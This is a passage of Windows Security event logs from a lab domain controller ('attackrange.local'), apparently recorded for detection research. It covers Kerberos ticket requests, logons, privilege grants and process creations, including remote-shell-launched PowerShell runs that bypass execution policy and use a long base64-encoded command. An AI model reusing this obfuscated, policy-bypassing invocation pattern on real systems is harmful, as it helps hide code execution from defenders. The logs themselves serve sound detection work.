Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257562 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x778 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc14 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257560 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa10 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257559 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x528531 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257558 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x528531 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257557 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257556 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257555 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257554 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52850F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257553 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52850F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257552 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52850F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257551 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257550 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257549 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257548 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527C53 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257547 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x527346 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257546 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524DE4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257545 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD9C.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC552BD664CC14469908F72708796C311.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special 